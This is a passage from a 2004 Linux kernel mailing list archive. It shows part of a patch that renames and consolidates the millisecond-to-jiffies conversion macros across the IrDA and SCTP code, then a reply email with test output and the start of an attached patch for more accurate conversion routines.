irda_task_next_state(task, IRDA_TASK_WAIT1); - ret = MSECS_TO_JIFFIES(10); /* Sleep 10 ms */ + ret = MSEC_TO_JIFFIES(10); /* Sleep 10 ms */ break; case IRDA_TASK_WAIT1: /* Set DTR and RTS */ self->set_dtr_rts(self->dev, TRUE, TRUE); irda_task_next_state(task, IRDA_TASK_WAIT2); - ret = MSECS_TO_JIFFIES(10); /* Sleep 10 ms */ + ret = MSEC_TO_JIFFIES(10); /* Sleep 10 ms */ break; case IRDA_TASK_WAIT2: irda_task_next_state(task, IRDA_TASK_DONE); diff -puN drivers/net/irda/ma600-sir.c~jiffies-to-msec-borkage-fix drivers/net/irda/ma600-sir.c --- 25/drivers/net/irda/ma600-sir.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.447169472 -0700 +++ 25-akpm/drivers/net/irda/ma600-sir.c 2004-05-12 13:46:41.487163392 -0700 @@ -192,7 +192,7 @@ static int ma600_change_speed(struct sir /* Wait at least 10ms: fake wait_until_sent - 10 bits at 9600 baud*/ set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(15)); /* old ma600 uses 15ms */ + schedule_timeout(MSEC_TO_JIFFIES(15)); /* old ma600 uses 15ms */ #if 1 /* read-back of the control byte. ma600 is the first dongle driver @@ -216,7 +216,7 @@ static int ma600_change_speed(struct sir /* Wait at least 10ms */ set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(10)); + schedule_timeout(MSEC_TO_JIFFIES(10)); /* dongle is now switched to the new speed */ dev->speed = speed; @@ -246,12 +246,12 @@ int ma600_reset(struct sir_dev *dev) /* Reset the dongle : set DTR low for 10 ms */ sirdev_set_dtr_rts(dev, FALSE, TRUE); set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(10)); + schedule_timeout(MSEC_TO_JIFFIES(10)); /* Go back to normal mode */ sirdev_set_dtr_rts(dev, TRUE, TRUE); set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(10)); + schedule_timeout(MSEC_TO_JIFFIES(10)); dev->speed = 9600; /* That's the dongle-default */ diff -puN drivers/net/irda/mcp2120.c~jiffies-to-msec-borkage-fix drivers/net/irda/mcp2120.c --- 25/drivers/net/irda/mcp2120.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.448169320 -0700 +++ 25-akpm/drivers/net/irda/mcp2120.c 2004-05-12 13:46:41.485163696 -0700 @@ -99,7 +99,7 @@ static int mcp2120_change_speed(struct i irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* Give reset 1 sec to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = MSEC_TO_JIFFIES(1000); } break; case IRDA_TASK_CHILD_WAIT: @@ -140,7 +140,7 @@ static int mcp2120_change_speed(struct i self->write(self->dev, control, 2); irda_task_next_state(task, IRDA_TASK_WAIT); - ret = MSECS_TO_JIFFIES(100); + ret = MSEC_TO_JIFFIES(100); //printk("mcp2120_change_speed irda_child_done\n"); break; case IRDA_TASK_WAIT: @@ -189,14 +189,14 @@ static int mcp2120_reset(struct irda_tas /* Reset dongle by setting RTS*/ self->set_dtr_rts(self->dev, TRUE, TRUE); irda_task_next_state(task, IRDA_TASK_WAIT1); - ret = MSECS_TO_JIFFIES(50); + ret = MSEC_TO_JIFFIES(50); break; case IRDA_TASK_WAIT1: //printk("mcp2120_reset irda_task_wait1\n"); /* clear RTS and wait for at least 30 ms. */ self->set_dtr_rts(self->dev, FALSE, FALSE); irda_task_next_state(task, IRDA_TASK_WAIT2); - ret = MSECS_TO_JIFFIES(50); + ret = MSEC_TO_JIFFIES(50); break; case IRDA_TASK_WAIT2: //printk("mcp2120_reset irda_task_wait2\n"); diff -puN drivers/net/irda/sir_dev.c~jiffies-to-msec-borkage-fix drivers/net/irda/sir_dev.c --- 25/drivers/net/irda/sir_dev.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.450169016 -0700 +++ 25-akpm/drivers/net/irda/sir_dev.c 2004-05-12 13:46:41.483164000 -0700 @@ -74,7 +74,7 @@ int sirdev_raw_write(struct sir_dev *dev while (dev->tx_buff.len > 0) { /* wait until tx idle */ spin_unlock_irqrestore(&dev->tx_lock, flags); set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(10)); + schedule_timeout(MSEC_TO_JIFFIES(10)); spin_lock_irqsave(&dev->tx_lock, flags); } diff -puN drivers/net/irda/sir_kthread.c~jiffies-to-msec-borkage-fix drivers/net/irda/sir_kthread.c --- 25/drivers/net/irda/sir_kthread.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.451168864 -0700 +++ 25-akpm/drivers/net/irda/sir_kthread.c 2004-05-12 13:46:41.485163696 -0700 @@ -415,7 +415,7 @@ static void irda_config_fsm(void *data) fsm->state = next_state; } while(!delay); - irda_queue_delayed_request(&fsm->rq, MSECS_TO_JIFFIES(delay)); + irda_queue_delayed_request(&fsm->rq, MSEC_TO_JIFFIES(delay)); } /* schedule some device configuration task for execution by kIrDAd diff -puN drivers/net/irda/stir4200.c~jiffies-to-msec-borkage-fix drivers/net/irda/stir4200.c --- 25/drivers/net/irda/stir4200.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.453168560 -0700 +++ 25-akpm/drivers/net/irda/stir4200.c 2004-05-12 13:46:41.488163240 -0700 @@ -208,7 +208,7 @@ static int write_reg(struct stir_cb *sti REQ_WRITE_SINGLE, USB_DIR_OUT|USB_TYPE_VENDOR|USB_RECIP_DEVICE, value, reg, NULL, 0, - MSECS_TO_JIFFIES(CTRL_TIMEOUT)); + MSEC_TO_JIFFIES(CTRL_TIMEOUT)); } /* Send control message to read multiple registers */ @@ -221,7 +221,7 @@ static inline int read_reg(struct stir_c REQ_READ_REG, USB_DIR_IN | USB_TYPE_VENDOR | USB_RECIP_DEVICE, 0, reg, data, count, - MSECS_TO_JIFFIES(CTRL_TIMEOUT)); + MSEC_TO_JIFFIES(CTRL_TIMEOUT)); } static inline int isfir(u32 speed) @@ -745,7 +745,7 @@ static void stir_send(struct stir_cb *st if (usb_bulk_msg(stir->usbdev, usb_sndbulkpipe(stir->usbdev, 1), stir->io_buf, wraplen, - NULL, MSECS_TO_JIFFIES(TRANSMIT_TIMEOUT))) + NULL, MSEC_TO_JIFFIES(TRANSMIT_TIMEOUT))) stir->stats.tx_errors++; } diff -puN drivers/net/irda/tekram.c~jiffies-to-msec-borkage-fix drivers/net/irda/tekram.c --- 25/drivers/net/irda/tekram.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.454168408 -0700 +++ 25-akpm/drivers/net/irda/tekram.c 2004-05-12 13:46:41.482164152 -0700 @@ -113,7 +113,7 @@ static int tekram_change_speed(struct ir if (self->speed_task && self->speed_task != task) { IRDA_DEBUG(0, "%s(), busy!\n", __FUNCTION__ ); - return MSECS_TO_JIFFIES(10); + return MSEC_TO_JIFFIES(10); } else self->speed_task = task; @@ -150,7 +150,7 @@ static int tekram_change_speed(struct ir irda_task_next_state(task, IRDA_TASK_CHILD_WAIT); /* Give reset 1 sec to finish */ - ret = MSECS_TO_JIFFIES(1000); + ret = MSEC_TO_JIFFIES(1000); } else irda_task_next_state(task, IRDA_TASK_CHILD_DONE); break; @@ -171,7 +171,7 @@ static int tekram_change_speed(struct ir irda_task_next_state(task, IRDA_TASK_WAIT); /* Wait at least 100 ms */ - ret = MSECS_TO_JIFFIES(150); + ret = MSEC_TO_JIFFIES(150); break; case IRDA_TASK_WAIT: /* Set DTR, Set RTS */ @@ -214,7 +214,7 @@ int tekram_reset(struct irda_task *task) if (self->reset_task && self->reset_task != task) { IRDA_DEBUG(0, "%s(), busy!\n", __FUNCTION__ ); - return MSECS_TO_JIFFIES(10); + return MSEC_TO_JIFFIES(10); } else self->reset_task = task; @@ -227,7 +227,7 @@ int tekram_reset(struct irda_task *task) irda_task_next_state(task, IRDA_TASK_WAIT1); /* Sleep 50 ms */ - ret = MSECS_TO_JIFFIES(50); + ret = MSEC_TO_JIFFIES(50); break; case IRDA_TASK_WAIT1: /* Clear DTR, Set RTS */ @@ -236,7 +236,7 @@ int tekram_reset(struct irda_task *task) irda_task_next_state(task, IRDA_TASK_WAIT2); /* Should sleep 1 ms */ - ret = MSECS_TO_JIFFIES(1); + ret = MSEC_TO_JIFFIES(1); break; case IRDA_TASK_WAIT2: /* Set DTR, Set RTS */ diff -puN drivers/net/irda/tekram-sir.c~jiffies-to-msec-borkage-fix drivers/net/irda/tekram-sir.c --- 25/drivers/net/irda/tekram-sir.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.455168256 -0700 +++ 25-akpm/drivers/net/irda/tekram-sir.c 2004-05-12 13:46:41.479164608 -0700 @@ -211,7 +211,7 @@ static int tekram_reset(struct sir_dev * /* Should sleep 1 ms */ set_current_state(TASK_UNINTERRUPTIBLE); - schedule_timeout(MSECS_TO_JIFFIES(1)); + schedule_timeout(MSEC_TO_JIFFIES(1)); /* Set DTR, Set RTS */ sirdev_set_dtr_rts(dev, TRUE, TRUE); diff -puN include/asm-i386/param.h~jiffies-to-msec-borkage-fix include/asm-i386/param.h --- 25/include/asm-i386/param.h~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.456168104 -0700 +++ 25-akpm/include/asm-i386/param.h 2004-05-12 13:46:41.497161872 -0700 @@ -5,8 +5,6 @@ # define HZ 1000 /* Internal kernel timer frequency */ # define USER_HZ 100 /* .. some user interfaces are in "ticks" */ # define CLOCKS_PER_SEC (USER_HZ) /* like times() */ -# define JIFFIES_TO_MSEC(x) (x) -# define MSEC_TO_JIFFIES(x) (x) #endif #ifndef HZ diff -puN include/linux/time.h~jiffies-to-msec-borkage-fix include/linux/time.h --- 25/include/linux/time.h~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.457167952 -0700 +++ 25-akpm/include/linux/time.h 2004-05-12 13:46:41.496162024 -0700 @@ -383,5 +383,15 @@ struct itimerval { #define TIMER_ABSTIME 0x01 +#if HZ <= 1000 && !(1000 % HZ) +#define MSEC_TO_JIFFIES(m) ((1000/HZ)*(m)) +#define JIFFIES_TO_MSEC(j) ((j)/(1000/HZ)) +#elif HZ > 1000 && !(HZ % 1000) +#define MSEC_TO_JIFFIES(m) ((m)/(HZ/1000)) +#define JIFFIES_TO_MSEC(j) ((HZ/1000)*(j)) +#else +#define MSEC_TO_JIFFIES(m) ((HZ*(m) + 999)/1000) +#define JIFFIES_TO_MSEC(j) ((1000*(j) + HZ - 1)/HZ) +#endif #endif diff -puN include/net/irda/irda.h~jiffies-to-msec-borkage-fix include/net/irda/irda.h --- 25/include/net/irda/irda.h~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.459167648 -0700 +++ 25-akpm/include/net/irda/irda.h 2004-05-12 13:46:41.488163240 -0700 @@ -83,8 +83,6 @@ if(!(expr)) do { \ #define MESSAGE(args...) printk(KERN_INFO args) #define ERROR(args...) printk(KERN_ERR args) -#define MSECS_TO_JIFFIES(ms) (((ms)*HZ+999)/1000) - /* * Magic numbers used by Linux-IrDA. Random numbers which must be unique to * give the best protection diff -puN include/net/sctp/sctp.h~jiffies-to-msec-borkage-fix include/net/sctp/sctp.h --- 25/include/net/sctp/sctp.h~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.460167496 -0700 +++ 25-akpm/include/net/sctp/sctp.h 2004-05-12 13:46:41.473165520 -0700 @@ -116,11 +116,6 @@ #define SCTP_STATIC static #endif -#define MSECS_TO_JIFFIES(msec) \ - (((msec / 1000) * HZ) + ((msec % 1000) * HZ) / 1000) -#define JIFFIES_TO_MSECS(jiff) \ - (((jiff / HZ) * 1000) + ((jiff % HZ) * 1000) / HZ) - /* * Function declarations. */ diff -puN kernel/sched.c~jiffies-to-msec-borkage-fix kernel/sched.c --- 25/kernel/sched.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.461167344 -0700 +++ 25-akpm/kernel/sched.c 2004-05-12 13:46:41.496162024 -0700 @@ -75,13 +75,6 @@ #define NS_TO_JIFFIES(TIME) ((TIME) / (1000000000 / HZ)) #define JIFFIES_TO_NS(TIME) ((TIME) * (1000000000 / HZ)) -#ifndef JIFFIES_TO_MSEC -# define JIFFIES_TO_MSEC(x) ((x) * 1000 / HZ) -#endif -#ifndef MSEC_TO_JIFFIES -# define MSEC_TO_JIFFIES(x) ((x) * HZ / 1000) -#endif - /* * These are the 'tuning knobs' of the scheduler: * diff -puN net/irda/ircomm/ircomm_tty.c~jiffies-to-msec-borkage-fix net/irda/ircomm/ircomm_tty.c --- 25/net/irda/ircomm/ircomm_tty.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.463167040 -0700 +++ 25-akpm/net/irda/ircomm/ircomm_tty.c 2004-05-12 13:46:41.489163088 -0700 @@ -873,7 +873,7 @@ static void ircomm_tty_wait_until_sent(s orig_jiffies = jiffies; /* Set poll time to 200 ms */ - poll_time = IRDA_MIN(timeout, MSECS_TO_JIFFIES(200)); + poll_time = IRDA_MIN(timeout, MSEC_TO_JIFFIES(200)); spin_lock_irqsave(&self->spinlock, flags); while (self->tx_skb && self->tx_skb->len) { diff -puN net/irda/irlap_event.c~jiffies-to-msec-borkage-fix net/irda/irlap_event.c --- 25/net/irda/irlap_event.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.464166888 -0700 +++ 25-akpm/net/irda/irlap_event.c 2004-05-12 13:46:41.491162784 -0700 @@ -627,7 +627,7 @@ static int irlap_state_query(struct irla if (irda_device_is_receiving(self->netdev) && !self->add_wait) { IRDA_DEBUG(2, "%s(), device is slow to answer, " "waiting some more!\n", __FUNCTION__); - irlap_start_slot_timer(self, MSECS_TO_JIFFIES(10)); + irlap_start_slot_timer(self, MSEC_TO_JIFFIES(10)); self->add_wait = TRUE; return ret; } @@ -849,7 +849,7 @@ static int irlap_state_setup(struct irla * 1.5 times the time taken to transmit a SNRM frame. So this time should * between 15 msecs and 45 msecs. */ - irlap_start_backoff_timer(self, MSECS_TO_JIFFIES(20 + + irlap_start_backoff_timer(self, MSEC_TO_JIFFIES(20 + (jiffies % 30))); } else { /* Always switch state before calling upper layers */ @@ -1506,7 +1506,7 @@ static int irlap_state_nrm_p(struct irla if (irda_device_is_receiving(self->netdev) && !self->add_wait) { IRDA_DEBUG(1, "FINAL_TIMER_EXPIRED when receiving a " "frame! Waiting a little bit more!\n"); - irlap_start_final_timer(self, MSECS_TO_JIFFIES(300)); + irlap_start_final_timer(self, MSEC_TO_JIFFIES(300)); /* * Don't allow this to happen one more time in a row, diff -puN net/sctp/associola.c~jiffies-to-msec-borkage-fix net/sctp/associola.c --- 25/net/sctp/associola.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.466166584 -0700 +++ 25-akpm/net/sctp/associola.c 2004-05-12 13:46:41.492162632 -0700 @@ -142,9 +142,9 @@ struct sctp_association *sctp_associatio * socket values. */ asoc->max_retrans = sp->assocparams.sasoc_asocmaxrxt; - asoc->rto_initial = MSECS_TO_JIFFIES(sp->rtoinfo.srto_initial); - asoc->rto_max = MSECS_TO_JIFFIES(sp->rtoinfo.srto_max); - asoc->rto_min = MSECS_TO_JIFFIES(sp->rtoinfo.srto_min); + asoc->rto_initial = MSEC_TO_JIFFIES(sp->rtoinfo.srto_initial); + asoc->rto_max = MSEC_TO_JIFFIES(sp->rtoinfo.srto_max); + asoc->rto_min = MSEC_TO_JIFFIES(sp->rtoinfo.srto_min); asoc->overall_error_count = 0; @@ -170,7 +170,7 @@ struct sctp_association *sctp_associatio asoc->max_init_attempts = sp->initmsg.sinit_max_attempts; asoc->max_init_timeo = - MSECS_TO_JIFFIES(sp->initmsg.sinit_max_init_timeo); + MSEC_TO_JIFFIES(sp->initmsg.sinit_max_init_timeo); /* Allocate storage for the ssnmap after the inbound and outbound * streams have been negotiated during Init. @@ -507,7 +507,7 @@ struct sctp_transport *sctp_assoc_add_pe /* Initialize the peer's heartbeat interval based on the * sock configured value. */ - peer->hb_interval = MSECS_TO_JIFFIES(sp->paddrparam.spp_hbinterval); + peer->hb_interval = MSEC_TO_JIFFIES(sp->paddrparam.spp_hbinterval); /* Set the path max_retrans. */ peer->max_retrans = asoc->max_retrans; diff -puN net/sctp/chunk.c~jiffies-to-msec-borkage-fix net/sctp/chunk.c --- 25/net/sctp/chunk.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.467166432 -0700 +++ 25-akpm/net/sctp/chunk.c 2004-05-12 13:46:41.493162480 -0700 @@ -186,7 +186,7 @@ struct sctp_datamsg *sctp_datamsg_from_u if (sinfo->sinfo_timetolive) { /* sinfo_timetolive is in milliseconds */ msg->expires_at = jiffies + - MSECS_TO_JIFFIES(sinfo->sinfo_timetolive); + MSEC_TO_JIFFIES(sinfo->sinfo_timetolive); msg->can_abandon = 1; SCTP_DEBUG_PRINTK("%s: msg:%p expires_at: %ld jiffies:%ld\n", __FUNCTION__, msg, msg->expires_at, jiffies); diff -puN net/sctp/endpointola.c~jiffies-to-msec-borkage-fix net/sctp/endpointola.c --- 25/net/sctp/endpointola.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.468166280 -0700 +++ 25-akpm/net/sctp/endpointola.c 2004-05-12 13:46:41.493162480 -0700 @@ -129,7 +129,7 @@ struct sctp_endpoint *sctp_endpoint_init ep->timeouts[SCTP_EVENT_TIMEOUT_T1_INIT] = SCTP_DEFAULT_TIMEOUT_T1_INIT; ep->timeouts[SCTP_EVENT_TIMEOUT_T2_SHUTDOWN] = - MSECS_TO_JIFFIES(sp->rtoinfo.srto_initial); + MSEC_TO_JIFFIES(sp->rtoinfo.srto_initial); ep->timeouts[SCTP_EVENT_TIMEOUT_T3_RTX] = 0; ep->timeouts[SCTP_EVENT_TIMEOUT_T4_RTO] = 0; @@ -138,7 +138,7 @@ struct sctp_endpoint *sctp_endpoint_init * recommended value of 5 times 'RTO.Max'. */ ep->timeouts[SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD] - = 5 * MSECS_TO_JIFFIES(sp->rtoinfo.srto_max); + = 5 * MSEC_TO_JIFFIES(sp->rtoinfo.srto_max); ep->timeouts[SCTP_EVENT_TIMEOUT_HEARTBEAT] = SCTP_DEFAULT_TIMEOUT_HEARTBEAT; diff -puN net/sctp/socket.c~jiffies-to-msec-borkage-fix net/sctp/socket.c --- 25/net/sctp/socket.c~jiffies-to-msec-borkage-fix 2004-05-12 13:46:41.470165976 -0700 +++ 25-akpm/net/sctp/socket.c 2004-05-12 13:46:41.477164912 -0700 @@ -2379,14 +2379,14 @@ SCTP_STATIC int sctp_init_sock(struct so sp->initmsg.sinit_num_ostreams = sctp_max_outstreams; sp->initmsg.sinit_max_instreams = sctp_max_instreams; sp->initmsg.sinit_max_attempts = sctp_max_retrans_init; - sp->initmsg.sinit_max_init_timeo = JIFFIES_TO_MSECS(sctp_rto_max); + sp->initmsg.sinit_max_init_timeo = JIFFIES_TO_MSEC(sctp_rto_max); /* Initialize default RTO related parameters. These parameters can * be modified for with the SCTP_RTOINFO socket option. */ - sp->rtoinfo.srto_initial = JIFFIES_TO_MSECS(sctp_rto_initial); - sp->rtoinfo.srto_max = JIFFIES_TO_MSECS(sctp_rto_max); - sp->rtoinfo.srto_min = JIFFIES_TO_MSECS(sctp_rto_min); + sp->rtoinfo.srto_initial = JIFFIES_TO_MSEC(sctp_rto_initial); + sp->rtoinfo.srto_max = JIFFIES_TO_MSEC(sctp_rto_max); + sp->rtoinfo.srto_min = JIFFIES_TO_MSEC(sctp_rto_min); /* Initialize default association related parameters. These parameters * can be modified with the SCTP_ASSOCINFO socket option. @@ -2396,7 +2396,7 @@ SCTP_STATIC int sctp_init_sock(struct so sp->assocparams.sasoc_peer_rwnd = 0; sp->assocparams.sasoc_local_rwnd = 0; sp->assocparams.sasoc_cookie_life = - JIFFIES_TO_MSECS(sctp_valid_cookie_life); + JIFFIES_TO_MSEC(sctp_valid_cookie_life); /* Initialize default event subscriptions. By default, all the * options are off. @@ -2406,7 +2406,7 @@ SCTP_STATIC int sctp_init_sock(struct so /* Default Peer Address Parameters. These defaults can * be modified via SCTP_PEER_ADDR_PARAMS */ - sp->paddrparam.spp_hbinterval = JIFFIES_TO_MSECS(sctp_hb_interval); + sp->paddrparam.spp_hbinterval = JIFFIES_TO_MSEC(sctp_hb_interval); sp->paddrparam.spp_pathmaxrxt = sctp_max_retrans_path; /* If enabled no SCTP message fragmentation will be performed. @@ -2552,7 +2552,7 @@ static int sctp_getsockopt_sctp_status(s status.sstat_primary.spinfo_state = transport->active; status.sstat_primary.spinfo_cwnd = transport->cwnd; status.sstat_primary.spinfo_srtt = transport->srtt; - status.sstat_primary.spinfo_rto = JIFFIES_TO_MSECS(transport->rto); + status.sstat_primary.spinfo_rto = JIFFIES_TO_MSEC(transport->rto); status.sstat_primary.spinfo_mtu = transport->pmtu; if (put_user(len, optlen)) { @@ -2607,7 +2607,7 @@ static int sctp_getsockopt_peer_addr_inf pinfo.spinfo_state = transport->active; pinfo.spinfo_cwnd = transport->cwnd; pinfo.spinfo_srtt = transport->srtt; - pinfo.spinfo_rto = JIFFIES_TO_MSECS(transport->rto); + pinfo.spinfo_rto = JIFFIES_TO_MSEC(transport->rto); pinfo.spinfo_mtu = transport->pmtu; if (put_user(len, optlen)) { @@ -2811,7 +2811,7 @@ static int sctp_getsockopt_peer_addr_par if (!trans->hb_allowed) params.spp_hbinterval = 0; else - params.spp_hbinterval = JIFFIES_TO_MSECS(trans->hb_interval); + params.spp_hbinterval = JIFFIES_TO_MSEC(trans->hb_interval); /* spp_pathmaxrxt contains the maximum number of retransmissions * before this address shall be considered unreachable. @@ -3168,9 +3168,9 @@ static int sctp_getsockopt_rtoinfo(struc /* Values corresponding to the specific association. */ if (asoc) { - rtoinfo.srto_initial = JIFFIES_TO_MSECS(asoc->rto_initial); - rtoinfo.srto_max = JIFFIES_TO_MSECS(asoc->rto_max); - rtoinfo.srto_min = JIFFIES_TO_MSECS(asoc->rto_min); + rtoinfo.srto_initial = JIFFIES_TO_MSEC(asoc->rto_initial); + rtoinfo.srto_max = JIFFIES_TO_MSEC(asoc->rto_max); + rtoinfo.srto_min = JIFFIES_TO_MSEC(asoc->rto_min); } else { /* Values corresponding to the endpoint. */ struct sctp_opt *sp = sctp_sk(sk); _ From rugolsky@telemetry-investments.com Wed May 12 13:54:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 13:54:53 -0700 (PDT) Received: from ti41.telemetry-investments.com (209-166-240-202.cust.walrus.com [209.166.240.202]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CKsDKO007167 for ; Wed, 12 May 2004 13:54:13 -0700 Received: from ti64.telemetry-investments.com (ti64 [192.168.8.64]) by ti41.telemetry-investments.com (Postfix) with ESMTP id EA9FD10106; Wed, 12 May 2004 16:54:07 -0400 (EDT) Received: by ti64.telemetry-investments.com (Postfix, from userid 343) id DA76FFFB9; Wed, 12 May 2004 16:54:07 -0400 (EDT) Date: Wed, 12 May 2004 16:54:07 -0400 From: "Bill Rugolsky Jr." To: Jeff Garzik Cc: Greg KH , Andrew Morton , mingo@elte.hu, linux-kernel@vger.kernel.org, Netdev , Sridhar Samudrala , davem@redhat.com, George Anzinger Subject: Re: MSEC_TO_JIFFIES is messed up... Message-ID: <20040512205407.GD25515@ti64.telemetry-investments.com> Mail-Followup-To: "Bill Rugolsky Jr." , Jeff Garzik , Greg KH , Andrew Morton , mingo@elte.hu, linux-kernel@vger.kernel.org, Netdev , Sridhar Samudrala , davem@redhat.com, George Anzinger References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="cWoXeonUoKmBZSoM" Content-Disposition: inline In-Reply-To: <40A26FFA.4030701@pobox.com> User-Agent: Mutt/1.4.1i X-archive-position: 5090 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brugolsky@telemetry-investments.com Precedence: bulk X-list: netdev --cWoXeonUoKmBZSoM Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Wed, May 12, 2004 at 02:42:02PM -0400, Jeff Garzik wrote: > One of the SCTP folks was cleaning up all the random jif-to-msec and > msec-to-jif macros into include/linux/time.h. Need to dig that up and > merge it. Yes, that was Sridhar Samudrala . I've done some work to create an accurate implementation of msecs_to_jiffies() and jiffies_to_msecs(), which I was going to submit later this week after clearing it with George Anziger. [I have a follow-on patch that reworks the select/poll/epoll timeout fixes to use timeval_to_jiffies() and msecs_to_jiffies().] The attached patch combines Sridhar's consolidation patch with my more accurate routines in the spirit of the rest of time.h. It is against 2.6.6-rc3-bk3. Feedback welcome. I'm happy to rediff against latest kernel, I just haven't had time the last few days. George's userland test harness was used to test this on x86 and x86_64. Below are excerpts from my test output for powers of 2. The kernel patch compiles and boots on x86, but hasn't been tested extensively. On x86: HZ=1535 00: jiffies_to_msecs(1): 1 00: msecs_to_jiffies(1): 2 01: jiffies_to_msecs(2): 2 01: msecs_to_jiffies(2): 4 ... 30: jiffies_to_msecs(1073741824): 699221750 30: msecs_to_jiffies(1073741824): 1648863906 31: jiffies_to_msecs(2147483648): 1398443499 31: msecs_to_jiffies(2147483648): 2147483646 HZ=100 00: jiffies_to_msecs(1): 10 00: msecs_to_jiffies(1): 1 01: jiffies_to_msecs(2): 20 01: msecs_to_jiffies(2): 1 ... 30: jiffies_to_msecs(1073741824): 2147483640 30: msecs_to_jiffies(1073741824): 107374183 31: jiffies_to_msecs(2147483648): 2147483640 31: msecs_to_jiffies(2147483648): 214748365 HZ=12 00: jiffies_to_msecs(1): 84 00: msecs_to_jiffies(1): 1 01: jiffies_to_msecs(2): 167 01: msecs_to_jiffies(2): 1 ... 30: jiffies_to_msecs(1073741824): 2147483576 30: msecs_to_jiffies(1073741824): 12884902 31: jiffies_to_msecs(2147483648): 2147483576 31: msecs_to_jiffies(2147483648): 25769804 On x86_64: HZ=1535 00: jiffies_to_msecs(1): 1 00: msecs_to_jiffies(1): 2 01: jiffies_to_msecs(2): 2 01: msecs_to_jiffies(2): 4 ... 61: jiffies_to_msecs(2305843009213693952): 1501567273914073088 61: msecs_to_jiffies(2305843009213693952): 3540908275912409088 62: jiffies_to_msecs(4611686018427387904): 3003134547828146176 62: msecs_to_jiffies(4611686018427387904): 7081816551824818176 63: jiffies_to_msecs(9223372036854775808): 6006269095656292351 63: msecs_to_jiffies(9223372036854775808): 9223372024794783097 HZ=100 00: jiffies_to_msecs(1): 10 00: msecs_to_jiffies(1): 1 01: jiffies_to_msecs(2): 20 01: msecs_to_jiffies(2): 1 ... 61: jiffies_to_msecs(2305843009213693952): 9223372033096679414 61: msecs_to_jiffies(2305843009213693952): 230584301001900032 62: jiffies_to_msecs(4611686018427387904): 9223372033096679414 62: msecs_to_jiffies(4611686018427387904): 461168602003800064 63: jiffies_to_msecs(9223372036854775808): 9223372033096679414 63: msecs_to_jiffies(9223372036854775808): 922337202396987392 HZ=12 00: jiffies_to_msecs(1): 84 00: msecs_to_jiffies(1): 1 01: jiffies_to_msecs(2): 167 01: msecs_to_jiffies(2): 1 ... 61: jiffies_to_msecs(2305843009213693952): 9223371701044963021 61: msecs_to_jiffies(2305843009213693952): 27670116233641984 62: jiffies_to_msecs(4611686018427387904): 9223371701044963021 62: msecs_to_jiffies(4611686018427387904): 55340232467283968 63: jiffies_to_msecs(9223372036854775808): 9223371701044963021 63: msecs_to_jiffies(9223372036854775808): 110680463286911100 Regards, Bill Rugolsky --cWoXeonUoKmBZSoM Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="linux-2.6.6-rc3-bk3-msecs-to-jiffies.patch" --- linux/include/linux/time.h.msecs-to-jiffies 2004-04-03 22:37:36.000000000 -0500 +++ linux/include/linux/time.h 2004-05-07 15:33:49.000000000 -0400 @@ -66,6 +66,10 @@ #define NSEC_PER_SEC (1000000000L) #endif +#ifndef NSEC_PER_MSEC +#define NSEC_PER_MSEC (1000000L) +#endif + #ifndef NSEC_PER_USEC #define NSEC_PER_USEC (1000L) #endif @@ -148,6 +152,18 @@ #endif #define NSEC_JIFFIE_SC (SEC_JIFFIE_SC + 29) #define USEC_JIFFIE_SC (SEC_JIFFIE_SC + 19) +#define MSEC_JIFFIE_SC (SEC_JIFFIE_SC + 9) + +/* + * As above, test the sign bit for the jiffie to msec conversion, and if it + * is not set, bump the shift count to gain an extra bit of precision. + */ +#define JIFFIE_MSEC_SC (31 + SHIFT_HZ - 10) +#if !((((TICK_NSEC << 2) / NSEC_PER_MSEC) << (JIFFIE_MSEC_SC - 2)) & 0x80000000) +#undef JIFFIE_MSEC_SC +#define JIFFIE_MSEC_SC (32 + SHIFT_HZ - 10) +#endif + #define SEC_CONVERSION ((unsigned long)((((u64)NSEC_PER_SEC << SEC_JIFFIE_SC) +\ TICK_NSEC -1) / (u64)TICK_NSEC)) @@ -156,14 +172,24 @@ #define USEC_CONVERSION \ ((unsigned long)((((u64)NSEC_PER_USEC << USEC_JIFFIE_SC) +\ TICK_NSEC -1) / (u64)TICK_NSEC)) +#define MSEC_CONVERSION \ + ((unsigned long)((((u64)NSEC_PER_MSEC << MSEC_JIFFIE_SC) +\ + TICK_NSEC -1) / (u64)TICK_NSEC)) +#define JIFFIE_MSEC_CONVERSION \ + ((unsigned long)((((u64)TICK_NSEC << JIFFIE_MSEC_SC) +\ + NSEC_PER_MSEC -1) / (u64)NSEC_PER_MSEC)) /* * USEC_ROUND is used in the timeval to jiffie conversion. See there * for more details. It is the scaled resolution rounding value. Note * that it is a 